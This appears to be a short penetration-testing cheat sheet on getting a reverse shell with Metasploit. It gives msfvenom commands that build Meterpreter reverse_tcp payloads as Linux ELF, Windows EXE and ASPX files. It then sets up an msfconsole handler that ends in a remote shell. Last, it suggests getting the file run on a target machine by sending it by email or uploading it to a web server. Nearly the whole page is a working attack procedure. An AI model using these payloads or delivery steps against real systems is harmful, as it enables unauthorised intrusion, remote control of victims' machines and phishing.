Reverse Shell with Metasploit

Last modified: 2024-01-26

Privilege Escalation Reverse Shell

We can create a reverse shell payload using Msfvenom and listen for reverse connection with Msfconsole.

Generate Reverse Shell Payload

1. Create a Payload using MsfVenom

# Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST= LPORT=4444 -f elf -o shell.elf

# Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe -o shell.exe
msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f aspx -o shell.aspx

2. Start Listener using MsfConsole

msf> use exploit/multi/handler

# Linux
msf> set payload linux/x86/meterpreter/reverse_tcp
# Windows
msf> set payload windows/meterpreter/reverse_tcp
# or
msf> set payload windows/x64/meterpreter/reverse_tcp

msf> set lhost
msf> set lport 4444
msf> run
meterpreter> shell

3. Send the Generated File to Target Machine

After that, we need to send the generated malicious file to target machine somehow such as below:

  • Send email with this file.
  • Upload this file to target web server.

Then a user in target machine executes this file, we may be able to get a shell of target system.